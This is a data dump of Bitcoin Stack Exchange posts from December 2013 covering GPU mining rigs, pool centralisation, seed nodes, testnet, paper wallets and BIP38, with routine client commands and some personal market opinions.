  <row Id="19502" PostTypeId="1" CreationDate="2013-12-28T04:54:41.387" Score="1" ViewCount="3140" Body="&lt;p&gt;I want to buy four r9 280x cards for Scrypt mining. I already have all other hardware components to create two dual rigs. &lt;strong&gt;Would one mining rig that uses all four GPUs instead be significantly better?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have to buy a motherboard or riser cards to create the quad rig. I am indifferent to power consumption.&lt;/p&gt;&#xA;" OwnerUserId="11500" LastEditorUserId="5406" LastEditDate="2016-03-17T16:08:32.457" LastActivityDate="2016-03-17T16:08:32.457" Title="Is one quad GPU rig better than two dual GPU rigs for Scrypt mining?" Tags="|gpu-mining|mining-setup|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19504" PostTypeId="2" ParentId="19501" CreationDate="2013-12-28T05:27:58.887" Score="6" Body="&lt;p&gt;Conceptually it isn't difficult to understand conflicts of interests (COI) principles.  If a pool has over 50% of the computing power required to demonstrate adequate &quot;proof of work&quot; to add entries to the Blockchain Ledger, this absolute centralized power will eventually &quot;absolutely corrupt&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That centralized pool could be used to change the history of what constitutes the longest chain in the Blockchain by computationally orphaning blocks that were legitimately mined by other pools or solo miners. When a pool gets very large, do you honestly think it will not be tempted to modify the nominal Bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fee#Including_in_Blocks&quot;&gt;transaction priority scheme&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a pool has roughly a third of the computing power used to populate a Blockchain, they can start to statistically change the destiny of the Ledger, especially if all of its miners are using STM mining protocol. This is because miners are effectively slaved to the set of transactions the pool decides is important to mine, whether legitimate or not. When STM is used, the pool sets the mining block agenda, not the miners. Can you now see where the COI enters into the picture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If miners use GBT, opposed to STM, they have more choice in the grouping of candidate transactions they bundle together for mining as long as they follow a template. As long as those miners are not colluding with the pool, this will help keep the large pools honest. The problem is GBT coordination sucks more network bandwidth, effectively ever so slightly lowering the profit margins miners can achieve. Most miners are interested in maximizing their profits, and are thus likely not to adopt GBT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing this information, and looking at the &lt;a href=&quot;https://blockchain.info/pools&quot;&gt;two big to fail pools&lt;/a&gt; is very disheartening. A barometer for when the big pools have gotten too large is when numerous small pools suddenly have higher orphan block rates, and their mining profits start to go south of what is expected for known difficulty factors for a protracted period of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep large pools honest, for the good of the public, the &lt;a href=&quot;https://blockchain.info/pools&quot;&gt;large pools that mine 25 to 30% or more of the Bitcoins&lt;/a&gt; need to support transparency with above the board full disclosure policy of what they are currently mining in advance of advertising their lucky block strikes. Such transparency, helps to ensure they are not violating the trust of good Internet netizen miners competitively mining at other pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very hot topic.  From the flack that I received (i.e., negative Bitcoin Stack Exchange passive-aggressive votes) when asking a prior related question, I believe this is something that must be watched very closely...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI - I'm a security consultant and a guy that did wargaming for over 10 years.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-28T05:27:58.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19506" PostTypeId="2" ParentId="19502" CreationDate="2013-12-28T06:07:17.707" Score="-2" Body="&lt;p&gt;Your assertion about &quot;throwing&quot; is indeed correct... Mining with GPU technology has become a money loosing proposition with the advent of ASICs.  Case and point, compare the computing power those GPUs will have against the (price)/(hashing power)/(power consumption) points of the 100 GH/s &lt;a href=&quot;https://www.minersource.net/&quot; rel=&quot;nofollow&quot;&gt;product&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the current compounding rate of the difficulty factor, and the advertised end of February delivery date of the product, and current Bitcoin exchange rates, I'm not sure that I want to spend the money to buy this ASIC product because mining is likely to not be profitable. If current difficulty factors continue to increase at current rates, they will be at least three times the current 1,180,923,195 difficulty by early March. This compounding effect is not accounted for by calculators such as &lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator&quot; rel=&quot;nofollow&quot;&gt;http://www.alloscomp.com/bitcoin/calculator&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusion, &lt;a href=&quot;http://bitcoindifficulty.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin mining is in a bubble&lt;/a&gt; unless the value of of the Bitcoin appreciates substantially. Stating that mining Bitcoins is in a bubble, does not imply the exchange rates for Bitcoins is in a bubble. &lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-28T06:07:17.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19507" PostTypeId="2" ParentId="19500" CreationDate="2013-12-28T06:19:21.833" Score="3" Body="&lt;p&gt;George gave you the idealistic answer.  The cynical answer: the point is to get you to look at ads and produce revenue for the faucet operator, while paying you an amount of Bitcoin that you hopefully won't realize is equivalent to an hourly wage several orders of magnitude below sweatshop.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-12-28T06:19:21.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19508" PostTypeId="2" ParentId="19491" CreationDate="2013-12-28T06:38:55.477" Score="-1" Body="&lt;p&gt;Getwork (GWK) is a dieing protocol with the advent of ASICs. STM and GBT adequately support ASIC technologies. Dig into &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0022.mediawiki&quot; rel=&quot;nofollow&quot;&gt;GBT&lt;/a&gt; some that has details about long polling, but first &lt;a href=&quot;https://deepbit.net/longpolling.php&quot; rel=&quot;nofollow&quot;&gt;read&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the hash rates of 5KH/s and the mentioning scrypt you must be mining a little LTC, and GWK is quite adequate for that purpose. &lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-28T06:38:55.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19511" PostTypeId="1" AcceptedAnswerId="19519" CreationDate="2013-12-28T07:21:41.993" Score="0" ViewCount="390" Body="&lt;p&gt;I've noticed that &lt;a href=&quot;https://github.com/bitcoin/bitcoin/search?q=socket&amp;amp;ref=cmdform&quot; rel=&quot;nofollow&quot;&gt;the bitcoin client uses sockets&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also seen that &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork#longpoll&quot; rel=&quot;nofollow&quot;&gt;long polling is not only available but is also recommended&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why?  Isn't long polling far less efficient than sockets?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2013-12-28T08:47:52.060" Title="Why longpoll if sockets are available?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19512" PostTypeId="2" ParentId="19502" CreationDate="2013-12-28T07:28:36.893" Score="-1" Body="&lt;p&gt;Save your pennies and hold out for the upcoming scrypt ASICs.  Companies such as alpha-t.net are planning to have product on the market by Q2 or Q3 next year, which will blow the pants off GPUs.  Registration is open for their pre-sales, but they're sure to sell out of the first generation very quickly.  &lt;/p&gt;&#xA;" OwnerUserId="11508" LastActivityDate="2013-12-28T07:28:36.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19514" PostTypeId="1" AcceptedAnswerId="19549" CreationDate="2013-12-28T08:10:31.807" Score="3" ViewCount="64" Body="&lt;p&gt;I have a wallet for a service that's getting bloated, and whenever I want to send transactions they notably get slow. How do I prevent stuff like this? Can I just send all the funds to an address to merge the unspent inputs?&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-29T08:17:15.290" Title="How to keep transaction generating time down?" Tags="|transactions|wallet|payment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19515" PostTypeId="2" ParentId="19465" CreationDate="2013-12-28T08:23:49.120" Score="3" Body="&lt;p&gt;They most likely have an advanced block chain indexing backend. Basically they run a node (most likely bitcoinj with custom code) that listens for blocks from all the connected nodes they have. And once they have a block they add all it's info into a database that they run queries on for results.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-28T08:23:49.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19516" PostTypeId="2" ParentId="19457" CreationDate="2013-12-28T08:27:52.680" Score="2" Body="&lt;p&gt;To get the history of incoming and outgoing transactions all you need to do is send &quot;listreceivedbyaddress&quot; command to the bitcoind rpc interface. For more detail see here. &#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see where the address first appeared is more intense, you will need to run a search query on a block chain and analyze each block up until you find an appearance.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-28T08:27:52.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19517" PostTypeId="2" ParentId="19433" CreationDate="2013-12-28T08:30:37.860" Score="1" Body="&lt;p&gt;When you export a private key, you are essentially just exporting a plain text private key (you have to type in a password to export is a giveaway of decryption happening). So yes, an unencrypted wallet has all the private keys plain text no matter what.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-28T08:30:37.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19518" PostTypeId="2" ParentId="19348" CreationDate="2013-12-28T08:37:37.213" Score="1" Body="&lt;p&gt;By physical wallet I assume you mean like a printed paper wallet. But your paper wallet should be an address and the corresponding private key (don't share this!). To access it all you need to do is import it to bitcoin-qt through one of the options. To do it through console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;importprivkey &amp;lt;private key&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where  is your private key. It should take your client like 30-60 mins to rescan the block chain to update the balance.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-28T08:37:37.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19519" PostTypeId="2" ParentId="19511" CreationDate="2013-12-28T08:47:52.060" Score="3" Body="&lt;p&gt;Don't confuse the way bitcoin clients talk to each other (peer to peer, speaking the Bitcoin protocol) with the way the bitcoin client talks to RPC clients (server to client, with bitcoind acting as an HTTP server speaking JSON-RPC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the bitcoin client speaks RPC, it uses HTTP. Long polling is much more efficient than HTTP without long polling, which is why long polling was created and why it's recommended if you're using RPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, using RPC for miners to talk to the systems that issue them work is rapidly becoming obsolete. Stratum replaces that, and it uses a &lt;a href=&quot;http://mining.bitcoin.cz/stratum-mining#lp&quot; rel=&quot;nofollow&quot;&gt;native method that's more efficient&lt;/a&gt; than long polling.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-28T08:47:52.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19525" PostTypeId="2" ParentId="11822" CreationDate="2013-12-28T18:19:38.830" Score="-2" Body="&lt;p&gt;The community of users determine a vitrual currency's value.  Many people are well aware of Bitcoin now... But they missed the boat.  And its limited number will likely keep values high and a little less stable, resulting in the common man being less interested in the concept or its risk.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, there's DOGECOIN.  Highly popular, rapidly growing Just released three weeks ago, super cheap, easy to mine, and it has the potential to mine 100 BILLION coins compared to Bitcoin's 21 million.  The number of people that can be involved in Dogecoin (who are aware of vitrual currencies and don't want to miss the boat again), now have another chance.  DOGECOIN'S huge number of coins will mean it will be affordable for a long time - maybe forever - but it also means there are enough coins to supply all world users without having to deal with infinitely smaller percentages of one coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since values are what a currency's community gives it - consider the fact that Dogecoin's community will be much greater numbers AND more world saturation.  Now that's a community, and THAT will be sustaining value - more stable value - which will likely never get to the peak that Bitcoin did, but in my humble opinion, will more likely be the currency of choice for the long term (ultimately resulting in what could be a higher value than Bitcoin).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, it has something that no other currency has - a likeable &quot;personality&quot;.  Go see for yourself. &lt;/p&gt;&#xA;" OwnerUserId="11522" LastActivityDate="2013-12-28T18:19:38.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19526" PostTypeId="2" ParentId="12165" CreationDate="2013-12-28T20:33:07.453" Score="0" Body="&lt;p&gt;Just delete the Blocks folder in %appdata%/bitcoin. You'll have to download again the whole Blocks database but hey, You've got your bitcoins back :D.&lt;/p&gt;&#xA;" OwnerUserId="11527" LastActivityDate="2013-12-28T20:33:07.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19527" PostTypeId="1" AcceptedAnswerId="19532" CreationDate="2013-12-28T21:15:11.403" Score="4" ViewCount="7451" Body="&lt;p&gt;I'm doing this for study purposes (creating a Litecoin clone). I read somewhere that for SCRYPT clones, the DNS Seeds nodes aren't necessary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do need them, how to I setup these nodes. I know a DNS Seed node contains a list of IPs that are running a bitcoin client (in my case an alt-coin client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it enough to hard code one or more Ips in the client itself? Can I use a VPS for this?&#xA;Sorry for being noobish ;-)&lt;/p&gt;&#xA;" OwnerUserId="11530" LastActivityDate="2017-09-10T00:48:03.237" Title="How to setup a DNS Seeds node and a Seed Node (for Litecoin clone)" Tags="|litecoin|nodes|scrypt|fallback-nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19530" PostTypeId="1" CreationDate="2013-12-28T22:14:02.837" Score="0" ViewCount="981" Body="&lt;p&gt;I have an MSI Z77a-GD65 and I need to short one of the slots to get it to work. The MB was working fine with 5 GPUs until a couple of weeks ago when one of the slots stopped working. I know it's the slot because when I plug this GPU and riser into another slot it works and when I plug another GPU and riser into this slot it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I see posts about presence shorting a 1x slot. I found a page here that provides description of pins for all slots (1x, 4x, 8x, 16x).&#xA;&lt;a href=&quot;http://pinouts.ru/Slots/pci_express_pinout.shtml&quot; rel=&quot;nofollow&quot;&gt;http://pinouts.ru/Slots/pci_express_pinout.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All slots except the 16x seems easy enough but the 16x has multiple presence detect, hot plug detect, hot plug present detect, etc pins. Any idea how to do a presence short?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a 1x to 16x powered riser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help will be truly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="11532" LastEditorUserId="2306" LastEditDate="2017-04-25T20:06:39.923" LastActivityDate="2017-04-25T20:06:39.923" Title="16x Presence Short (1x Riser)" Tags="|mining-hardware|gpu|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19531" PostTypeId="1" CreationDate="2013-12-28T22:41:04.207" Score="0" ViewCount="575" Body="&lt;p&gt;I am developing some bitcoin based services and I am interested of automatizing testing for them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind&lt;/code&gt; seems to come with &lt;code&gt;-testnet&lt;/code&gt; option. What are the best practices of using this?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How to create wallets for tests - should they be persistent or temporary&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to spoof balances of the wallets &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to make fake payments and how to debug them - does there exist anything akin &lt;em&gt;blockchain.info&lt;/em&gt; or block chain explorer for them&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5406" LastEditDate="2017-08-23T15:30:54.943" LastActivityDate="2017-08-23T15:30:54.943" Title="Using the bitcoind -testnet test network and automatically creating test wallets" Tags="|bitcoind|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19532" PostTypeId="2" ParentId="19527" CreationDate="2013-12-28T23:27:10.383" Score="6" Body="&lt;p&gt;Seed nodes are important even for SCRYPT coins.  You need to edit the source code in particular the DNS seeds and IP address seeds in the net.cpp file.  You can run this on a VPS or any always on internet connection with a static IP address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/litecoin-project/litecoin/blob/master-0.8/src/net.cpp#L1190&quot; rel=&quot;noreferrer&quot;&gt;Litcoin Net.cpp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DNS seed node resolves to multiple IP addresses that are all running their own *coind instance on the appropriate port.  To validate this perform an nslookup on one of the seed nodes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Windows\System32&amp;gt;nslookup dnsseed.litecointools.com.&#xA;Server:  dd-wrt&#xA;Address:  192.168.11.1&#xA;&#xA;Non-authoritative answer:&#xA;Name:    dnsseed.litecointools.com&#xA;Addresses:  109.67.99.8&#xA;          108.52.232.25&#xA;          .... (insert more here)&#xA;          23.242.146.169&#xA;          114.216.241.119&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2013-12-29T16:40:42.773" LastActivityDate="2013-12-29T16:40:42.773" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19533" PostTypeId="2" ParentId="19531" CreationDate="2013-12-28T23:31:11.117" Score="1" Body="&lt;p&gt;Each instance of bitcoind running with the testnet option creates its own wallet.  You cannot spoof wallet balances, but you can mine coins on testnet with minimal hardware as the difficulty resets to zero (or 1) on a regular basis.  You can also get testnet coins from faucets online.  You create payments and addresses on testnet the very same way you would with the non-testnet version of bitcoin (either via the JSON RPC interface or CLI commands).  Also blockexplorer for testnet is located here &lt;a href=&quot;http://blockexplorer.com/testnet&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/testnet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-28T23:31:11.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19534" PostTypeId="1" AcceptedAnswerId="19559" CreationDate="2013-12-28T23:40:02.830" Score="9" ViewCount="253" Body="&lt;p&gt;Bitcoin's main innovation is the blockchain, responsible for making sure that the same bitcoin cannot be spent twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mastercoin rides on top of bitcoin, but does not have it's own blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Mastercoin avoid double-spend attacks?&lt;/p&gt;&#xA;" OwnerUserId="5960" LastActivityDate="2013-12-29T15:46:48.717" Title="How does Mastercoin avoid double-spend attacks without it's own blockchain?" Tags="|omni|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19535" PostTypeId="2" ParentId="19466" CreationDate="2013-12-29T00:43:35.557" Score="0" Body="&lt;p&gt;I'm running on a generally voluntaryist track here, so I'm not convinced that people should make efforts to unmask &quot;identities&quot; (whatever those might be, whether they are given at birth or something else adopted thereafter).  In fact, there is some evidence that decentralization of identity is already well underway and that such decentralization has been expanding for some time.  However, to address your question which is, essentially, &quot;What if you wanted to decrease anonymity?&quot; ~ I submit that the simplest answer to that question is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Provide people with a means to disclose their identity (whatever they claim it to be), and people will do so - irrespective of whether or not the technology (client, wallet technology, bitcoin service, etc.) readily reveals an individual's identity (as established from birth record or subsequent legal name change).  (Note:  In the United States, at least, the legal system does not currently recognize an IP address as equivalent to personal identity.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The progress of decentralization of systems of trust, example(s) of which can be found in proposals similar to the &lt;a href=&quot;http://bitcoin-otc.com/trust.php&quot; rel=&quot;nofollow&quot;&gt;bitcoin-otc concept&lt;/a&gt;, I submit here that credit scores as we understand them today is increasingly irrelevant, and even if developed using data freely available off the blockchain, such &quot;credit scoring&quot; systems will be generally disregarded in favor of decentralized reputation systems.  Note that recent proposals from Gavin Andresen, Mike Hearn, and other core developers, in a recent CoinDesk article covering Merge Avoidance, Address Reuse, and other concepts, suggest that multiple addresses will be the norm, further complicating this issue. This does not preclude or eliminate the possibility that addresses could individually or collectively develop &quot;reputations&quot; (in whatever context one imagines the term) over time.  Hearn's recent statements indicate his aversion to CoinJoin, which has already been implemented by blockchain.info and is likely to grow in use.  It should be understood while examining these discussions that &quot;privacy&quot; in the bitcoin space is currently marginal at best and is in a dynamic process of development, with certain wallets and various proposals changing 'privacy potential' over time, depending on what is developed or adopted.  However, part of the power of bitcoin (and decentralization generally) is that a central authority will not be able to be relied upon for such determinations (whether these be privacy-oriented, credit-oriented, or focused on anything else at all relative to bitcoin).  The notion of &quot;choice&quot; (and the extent to which various systems enable the process of choice as we understand it in transactional contexts) is critical to an understanding of how to approach these issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ABIS protocol contains, in part, a proposal that people should be able to decide whether or not they disclose an identity (indicating that people should be able to decide what, if any, identity they wish to disclose) in connection with any particular transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can link to the ABIS protocol (currently in a &quot;pre-release&quot; alpha stage here:&#xA;&lt;a href=&quot;https://github.com/ABISprotocol/ABIS&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ABISprotocol/ABIS&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10063" LastActivityDate="2013-12-29T00:43:35.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19536" PostTypeId="2" ParentId="408" CreationDate="2013-12-29T01:32:18.567" Score="1" Body="&lt;p&gt;Why would anyone holding bitcoins want to put an end to hoarding? Let's say I own a mining rig. I invested x dollars of my money into securing the bitcoin network, and earned a reward of y bitcoins. Now, instead of spending my btc, I hoard them. What I've actually done is worked for the good of the bitcoin network, and demanded nothing in return! Its a pretty good deal for everyone else, since by hoarding instead of spending my btc, their bitcoin value is unaffected, due to my preventing y btc from increaseing the supply, with the resultant price inflation. Had I spent those btc, the value of everyone else's btc would have dropped by (y/MarketCap) * YourBitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I buy up additional btc with dollars, the story gets even better. Lets say I take a portion of my weekly salary and buy up Z bitcoins. Now, in addition to the fact that I am working now and deferring my demand into  future, I increased your btc purchasing power to (Z/MarketCap) * YourBitcoins! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're now thinking this deflation will suck the btc economy down a black hole, are you more likely to blow $10,000 at a strip club if you (a) have a billion dollars worth of btc in your wallet or (b) exactly $10,000 worth of btc in your wallet? Hopefully the answer is obvious, which makes one man's hoarding your night out. So next time you meet a hoarder, give them a pat on the back for making you richer by working for free!&lt;/p&gt;&#xA;" OwnerUserId="11513" LastActivityDate="2013-12-29T01:32:18.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19539" PostTypeId="2" ParentId="3059" CreationDate="2013-12-29T04:52:18.013" Score="8" Body="&lt;p&gt;It may help to break the fields apart.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;04&#xA;4f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa&#xA;385b6b1b8ead809ca67454d9683fcf2ba03456d6fe2c4abe2b07f0fbdbb2f1c1&#xA;&#xA;03 [could be 02]&#xA;4f355bdcb7cc0af728ef3cceb9615d90684bb5b2ca5f859ab0f0b704075871aa&#xA;[discarded value can be computed from above value]&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is more detail omitted above. The 03 can be 02 because the&#xA;discarded value has to be derived from the preserved value and&#xA;one extra bit of info is needed. That is because there are two&#xA;roots [plus and minus] when taking a square root.&lt;/p&gt;&#xA;" OwnerUserId="11538" LastActivityDate="2013-12-29T04:52:18.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19540" PostTypeId="2" ParentId="19499" CreationDate="2013-12-29T05:33:27.893" Score="4" Body="&lt;p&gt;First close your client down and then copy the .bitcoin folder that was created in your home directory to the new location where you wish to store the data.  Second create a symbolic link using the new path:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ln -s /new/path/to/.bitcoin .bitcoin &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Finally restart the bitcoin client and it will use the blockchain stored at /new/path/to/.bitcoin (or wherever you put it)&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-29T05:33:27.893" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19541" PostTypeId="1" CreationDate="2013-12-29T06:20:35.247" Score="0" ViewCount="97" Body="&lt;p&gt;I was wondering if I was able to generate a bitcoin wallet by using a bunch of phone numbers i remember. I'm sure everyone can recall at least 5 or 10 phone numbers by memory. So in theory I can reference the wallet by just remembering the people thats associated with it. Say my wallet would consist of: john, sam, eva, jesse, and ben. but it would be referenced as phone numbers and in turn gets converted to a bitcoin wallet address.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-01-29T21:15:48.483" Title="Would it be possible to generate a memorized wallet address by using a batch of phone numbers?" Tags="|wallet|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19542" PostTypeId="2" ParentId="19534" CreationDate="2013-12-29T06:24:59.867" Score="4" Body="&lt;p&gt;Mastercoin adds a layer on top of Bitcoin.&lt;br/&gt;&#xA;It uses small transaction in the Bitcoin blockchain to transfer Mastercoins.&lt;br/&gt;&#xA;Thus the Bitcoin blockchain is used to avoid double spending the same way it is used for Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="892" LastActivityDate="2013-12-29T06:24:59.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19543" PostTypeId="2" ParentId="66" CreationDate="2013-12-29T07:02:29.493" Score="0" Body="&lt;p&gt;If people don't spend bitcoin, then miners will not collect fees. And without fees, there's no incentive to mine.   So miners will drop off.  As miners drop off, the network becomes vulnerable to a 51% attack.  So, yes, severe deflation is a major problem, but not solely for the economic reasons people are concerned about.   Far before deflation is a concern, lack of transaction volume and a decreasing money supply will kill bitcoin unless the monetary supply is loosened.  I'm guessing miners will feel the pinch and many will start dropping off by year-end 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately there are many solutions.   The Bitcoin money supply can be easily changed by a majority of miners agreeing to a change.&lt;/p&gt;&#xA;" OwnerUserId="9128" LastActivityDate="2013-12-29T07:02:29.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19544" PostTypeId="1" AcceptedAnswerId="19656" CreationDate="2013-12-29T07:07:17.417" Score="4" ViewCount="4629" Body="&lt;p&gt;Okay, so I create a paper wallet from blockchain.info and have it printed out with the public/private keys. Now I loaded it with some bitcoins. In my blockchain.info account it shows it as watch only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is can I spend them partially or do I have to spend them in full by scanning the private key portion of the paper wallet?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-01-01T05:09:59.020" Title="Is it possible to spend partial amounts from a paper wallet?" Tags="|wallet|paper-wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19545" PostTypeId="1" AcceptedAnswerId="20528" CreationDate="2013-12-29T07:24:47.287" Score="6" ViewCount="6774" Body="&lt;p&gt;I just learned about bip38 as it has to do with bitcoin private key encryption by putting a password to the key on the QR code. My question is which wallet apps support this decryption feature?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="132" LastEditDate="2014-01-14T14:04:58.360" LastActivityDate="2014-01-14T14:04:58.360" Title="Which wallet applications implement BIP38 - Private Key password encryption" Tags="|wallet|bip38|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19546" PostTypeId="1" CreationDate="2013-12-29T07:26:44.563" Score="3" ViewCount="214" Body="&lt;p&gt;Is there a site where I can see which BIP's are going to be implemented or not?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-02-27T23:41:07.187" Title="Where can I find out which BIP (bitcoin improvement proposal) are going to be implemented or not?" Tags="|bip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
